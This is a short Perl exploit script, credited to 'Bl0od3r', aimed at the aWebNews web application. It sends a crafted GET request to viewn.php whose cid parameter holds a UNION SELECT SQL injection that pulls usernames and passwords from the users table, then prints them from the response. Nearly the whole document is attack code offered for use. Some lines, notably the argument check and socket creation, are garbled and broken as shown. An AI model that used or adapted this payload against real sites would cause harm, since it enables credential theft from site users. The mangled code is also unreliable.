aWebNews user sql injection

use IO::Socket;
if (@ARGV<2) sock="IO::Socket::INET-">new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80") or die ("[-]Error");
print $sock "GET ".$path."viewn.php?cid='UNION%20SELECT%201,2,username,password,5,6,7%20FROM%20users%20WHERE%20id=".$id."/* HTTP/1.1\r\n";
print $sock "Host: ".$host."\n";
print $sock "Accept: */*\n";
print $sock "Cookie: nbbvisit=1163324292; bbvisit=1163324293; guestlog=guestSun12Nov2006103813; PHPSESSID=d55591373fa86c65740a540d402a87c2\n";
print $sock "Connection: close\n\n";
while ($ans = <$sock>){
$ans =~ m/(.*?)<\/b>/ && print "$1\n";
}

sub usage() {
print "\n";
print "# awebnews.pl host /path/ 1 #\n";
print "\n";
exit;
}
#released by Bl0od3r